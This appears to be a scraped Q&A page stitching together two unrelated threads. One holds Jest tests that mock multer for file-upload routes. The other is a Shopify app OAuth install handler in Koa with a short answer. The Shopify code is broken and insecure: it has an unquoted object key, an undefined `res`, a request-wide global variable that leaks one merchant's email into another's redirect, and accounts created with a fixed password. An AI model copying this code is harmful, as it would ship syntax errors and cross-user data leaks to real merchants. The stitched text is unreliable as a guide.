const mock = new MockAdapter(axios)
const request = require('supertest')
const bodyParser = require('body-parser')
const myroute = require('./router')
jest.mock('multer', () => {
const multer = () => ({
any: () => {
return (req, res, next) => {
req.body = { userName: 'testUser' }
req.files = [
{
originalname: 'sample.name',
mimetype: 'sample.type',
path: 'sample.url',
buffer: Buffer.from('whatever'),
},
]
return next()
}
},
})
multer.memoryStorage = () => jest.fn()
return multer
})
app.use(bodyParser.json())
app.use('/', myroute)
describe('sendFiles', () => {
const url = '/api/endpoint'
test('200 response', () => {
const myMockRes = { mykey: 'myVal' }
const file = Buffer.from('whatever')
mock.onPost(url).reply(200, myMockRes)
return request(app)
.post('/')
.send({ userName: 'testUser', files: [file] })
.expect(200)
.then((response) => {
const { data } = response.body
expect(data).toEqual(myMockRes)
})
})
})
#Arun Kumar Mohan got me halfway there. Good happy path. But what about the error path? Arun has it right. You need to mock this. But what about triggering error paths within the callback? Providing a jest function that you can trigger can get you into those error paths.
import { UploadGuard } from '../../../src/guards';
import { Request } from 'express';
// Note: make a spy to get into the guts of the thing.
let spy = jest.fn();
jest.mock('multer', () => {
const multer = () => ({
any: () => {
return (req, res, next) => {
// Note: have the spy execute in the next.
return next(spy());
};
},
});
multer.memoryStorage = () => jest.fn();
return multer;
});
describe('Upload Guard', () => {
let guard: UploadGuard;
const loggerService = new MockLogger();
// Note: Good practice, always reset your mocks.
afterEach(() => jest.resetAllMocks());
beforeEach(() => {
spy = jest.fn();
guard = new UploadGuard(loggerService);
});
it('Should set the files on a request', async () => {
// Given
const executionContext = {
switchToHttp: () => ({
getRequest: () =>
({
headers: {
authorization: 'Bearer FakeJWT',
Content-Type: 'multipart/form-data',
},
body: {},
} as Request),
}),
};
// When
await guard.canActivate(executionContext as any);
// Then
expect(spy).toHaveBeenCalled();
});
it('Throw an error if something bad happens', async () => {
// Given
spy.mockImplementationOnce(() => {
// Note: Return not throw
return new Error('Bad Things');
});
const executionContext = {
switchToHttp: () => ({
getRequest: () => ({} as Request),
}),
};
try {
// When
await guard.canActivate(executionContext as any);
throw new Error('Should not happen');
} catch (err) {
// Then
expect(err.message).toBe('Bad Things');
}
});
});

I have created Shopify app after installing app I want to take the user to my site with email and shop URL as param

const Koa = require('koa');
const cors = require('#koa/cors');
var https = require('https');
var http = require('http');
const { default: enforceHttps } = require('koa-sslify');
const next = require('next');
const { default: createShopifyAuth } = require('#shopify/koa-shopify-auth');
const dotenv = require('dotenv');
const { verifyRequest } = require('#shopify/koa-shopify-auth');
const session = require('koa-session');
const { ApiVersion } = require('#shopify/koa-shopify-graphql-proxy');
const { default: graphQLProxy } = require('#shopify/koa-shopify-graphql-proxy');
dotenv.config();
const port = parseInt(process.env.PORT, 10) || 9000;
const dev = process.env.NODE_ENV !== 'production';
const app = next({ dev });
const handle = app.getRequestHandler();
const Router = require('koa-router');
const processPayment = require('./server/router');
const helloMessage = require('./server/router');
const { SHOPIFY_API_SECRET_KEY, SHOPIFY_API_KEY } = process.env;
const crypto = require('crypto');
const cookie = require('cookie');
const nonce = require('nonce')();
const querystring = require('querystring');
const request = require('request-promise');
var bodyParser = require('koa-bodyparser');
const apiKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXx";
const apiSecret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
const scopes = 'read_products,write_script_tags,read_script_tags,read_customers, write_customers,read_product_listings,read_orders';
const forwardingAddress = "https://qualzz.com:9000";
//const forwardingAddress = "https://18.188.232.26:9000"
const appInstallAddress = "https://qualzz.com/api/user/webhooks/userInStalledApp";
const createUserUrlLink = "https://qualzz.com/api/user/createUser";
const forgotPasswordUrl = "https://qualzz.com/api/user/forgotPassword";
var fs = require('fs');
var LocalStorage = require('node-localstorage').LocalStorage,
localStorage = new LocalStorage('./scratch');
var email = "";
//var key = fs.readFileSync('/etc/nginx/qualzz.com.key');
//var cert = fs.readFileSync('/etc/nginx/qualzz_ssl.crt');
//var credentials = {key: key, cert: cert};
//var httpsServer = https.createServer(credentials, Koa);
// httpsServer.listen(port,()=>{
// console.log(`> Ready on http://localhost:${port}`);
//});
app.prepare().then(() => {
console.log("Started")
const server = new Koa();
const router = new Router();
server.use(enforceHttps({
port: port
}));
server.use(cors());
server.use(bodyParser());
server.use(session(server));
server.keys = ["XXXXXXXXXXXXXXXXXXXXX"];
router.get('/', processPayment);
router.get('/hello', async (ctx) => {
ctx.body = {
status: 'success',
message: 'hello, world!'
};
})
module.exports = router;
router.get('/shopify', (ctx,next) => {
console.log("ctx -->",ctx.query)
const shop = ctx.query.shop;
if (shop) {
const state = nonce();
const redirectUri = forwardingAddress + '/shopify/callback';
const installUrl = 'https://' + shop +
'/admin/oauth/authorize?client_id=' + apiKey +
'&scope=' + scopes +
'&state=' + state +
'&redirect_uri=' + redirectUri;
ctx.cookies.set('state', state);
console.log("install url ---->",installUrl)
ctx.redirect(installUrl);
} else {
return ctx.status(400).send('Missing shop parameter. Please add ?shop=your-development-shop.myshopify.com to your request');
}
});
router.get('/shopify/callback', (ctx,next) => {
console.log("in ctx call",ctx.query);
const { shop, hmac, code, state } = ctx.query;
const stateCookie = cookie.parse(ctx.headers.cookie).state;
if (state !== stateCookie) {
return ctx.status(403).send('Request origin cannot be verified');
}
if (shop && hmac && code) {
const map = Object.assign({}, ctx.query);
delete map['signature'];
delete map['hmac'];
const message = querystring.stringify(map);
const providedHmac = Buffer.from(hmac, 'utf-8');
const generatedHash = Buffer.from(
crypto
.createHmac('sha256', apiSecret)
.update(message)
.digest('hex'),
'utf-8'
);
let hashEquals = false;
try {
hashEquals = crypto.timingSafeEqual(generatedHash, providedHmac)
} catch (e) {
hashEquals = false;
};
if (!hashEquals) {
return res.status(400).send('HMAC validation failed');
}
const accessTokenRequestUrl = 'https://' + shop + '/admin/oauth/access_token';
const accessTokenPayload = {
client_id: apiKey,
client_secret: apiSecret,
code,
};
// setTimeOut(()=>{
console.log("near to redirect"+email);
ctx.redirect('https://app.qualzz.com?email='+email);
// },500);
//ctx.redirect('http://www.google.com');
request.post(accessTokenRequestUrl, { json: accessTokenPayload })
.then((accessTokenResponse) => {
const accessToken = accessTokenResponse.access_token;
const createScriptTagUrl = 'https://'+shop+'/admin/script_tags.json';
const shopRequestHeaders = {
'X-Shopify-Access-Token': accessToken,
};
const scriptTagBody = {"script_tag":
{ "event": "onload",
"src": "https://app.qualzz.com/assets/trackingScript/webtracking.js"
}
};
var redirectUrl = 'https://app.qualzz.com?email='+email;
const shopRequestUrl = 'https://' + shop + '/admin/shop.json';
// const saveCustomerUrl = 'http://ec2-18-216-255-14.us-east-2.compute.amazonaws.com:8080/user/webhooks/userInStalledApp';
const saveCustomerUrl = appInstallAddress;
request.get(shopRequestUrl, { headers: shopRequestHeaders })
.then((shopResponse) => {
//script tag try 3
const shopDetail = {
"shop":{
"id":JSON.parse(shopResponse).shop.id,
"email":JSON.parse(shopResponse).shop.email,
"phone":JSON.parse(shopResponse).shop.phone,
"name":JSON.parse(shopResponse).shop.name,
"domain":JSON.parse(shopResponse).shop.domain
}
}
console.log(shopDetail.shop.domain+">>>>>>>>>>>>>>>>>>emailemailxxx<<<<<<<<");
email = shopDetail.shop.email+'&url='+shopDetail.shop.domain;
console.log(email);
const createUser = {
"email":JSON.parse(shopResponse).shop.email,
"fullName":JSON.parse(shopResponse).shop.name,
"password":'XXXXXXXXX',
"shopify":true
}
const createUserUrl = createUserUrlLink;
request.post({
url:saveCustomerUrl,
body:shopDetail,
json:true
},function(error,response,body){
if(!error){
console.log("success in saving"+error+response+body);
request.post({
url: createScriptTagUrl,
body: scriptTagBody,
headers: shopRequestHeaders,
json: true
}, function( error,response,body){
if (ctx) {
console.log("before route -->",redirectUrl)
console.log("ctxroute --->",ctx)
ctx.redirect(redirectUrl);
} else {
ctx.body = {
status:error.statusCode,
message:'error'
}
}
});
ctx.redirect('https://app.qualzz.com?email='+email);
}
})
.catch((error) => {
res.status(error.statusCode);
});
request.post({
url:createUserUrl,
body:createUser,
json:true
},function(error,response,body){
if(!error){
console.log("success in user creation");
}else{
console.log('Error in user creation',error)
}
})
.catch((error)=>{
// redirectSite();
ctx.body ={
status:error.statusCode,
message:'error'
}
})
})
.catch((error) => {
ctx.body = {
status:error.statusCode,
message:'error'
}
});
function redirectSite(){
server.use((ctx,next) => {
});
//script tag try 2
}
})
.catch((error) => {
ctx.body = {
status:error.statusCode,
message:'error'
}
});
} else {
res.status(400).send('Required parameters missing');
}
});
//var dummyObj;
var shopifyObject;
router.post('/shopify/plan/upgrade',async(ctx)=>{
console.log("ctx --->",ctx.request.body);
obj = ctx.request.body.plan;
shopifyObject = ctx.request.body.userInfo;
localStorage.setItem('shopifyObject',JSON.stringify(shopifyObject));
console.log("shopify object is --->",shopifyObject)
const upgradeUrl= ctx.request.body.url;
// ctx.redirect('/');
// ctx.redirect(upgradeUrl);
ctx.body = {
status:"200",
message:'success'
}
});
// console.log("shopiufy object--->",shopifyObject)
obj = {
name: 'Recurring charge',
price: 20.01,
return_url: "https://qualzz.com:9000",
test: true
}
//console.log("calling this ... ");
server.use(
createShopifyAuth({
apiKey: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
secret: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
scopes: ['write_products', 'read_products'],
async afterAuth(ctx) {
const { shop, accessToken } = ctx.session;
console.log("Object is -->",obj);
// localStorage.setItem('shopifyObject', shopifyObject)
ctx.cookies.set('shopOrigin', shop, { httpOnly: false });
const stringifiedBillingParams = JSON.stringify({
recurring_application_charge: obj
})
console.log("in --->",obj)
const options = {
method: 'POST',
body: stringifiedBillingParams,
credentials: 'include',
headers: {
'X-Shopify-Access-Token': accessToken,
'Content-Type': 'application/json',
},
};
const confirmationURL = await fetch(
`https://${shop}/admin/api/2019-04/recurring_application_charges.json`, options)
.then((response) => response.json())
.then((jsonData) => jsonData.recurring_application_charge.confirmation_url)
.catch((error) => console.log('error', error));
console.log("Confirmation url",confirmationURL)
ctx.redirect('/');
ctx.redirect(confirmationURL);
},
}),
);
server.use(graphQLProxy({version: ApiVersion.April19}))
server.use(router.routes());
// server.use(cors());
server.use(verifyRequest({authRoute: '/shopify/auth', fallbackRoute: '/shopify/auth'}));
server.use(async (ctx) => {
await handle(ctx.req, ctx.res);
ctx.respond = false;
ctx.res.statusCode = 200;
return
});
var key = fs.readFileSync('/etc/nginx/qualzz.com.key');
var cert = fs.readFileSync('/etc/nginx/qualzz_ssl.crt');
var credentials = {key: key, cert: cert};
https.createServer(credentials, server.callback()).listen(port);
});
I have created Shopify app after installing app I want to take the user to my site with email and shop URL as param so as in above code I am redirecting user with email and URL but i am not able to get current user email and store url am getting previous user details so where can i write redirect code so that i will get proper result.
help me for this..
The correct use is as follows. Shopify merchant installs your App. Once they approve your App, the callback to your App comes with the shop name and a token allowing you access to the Shop details. Use an API call with that token to get the email address you need.

Resources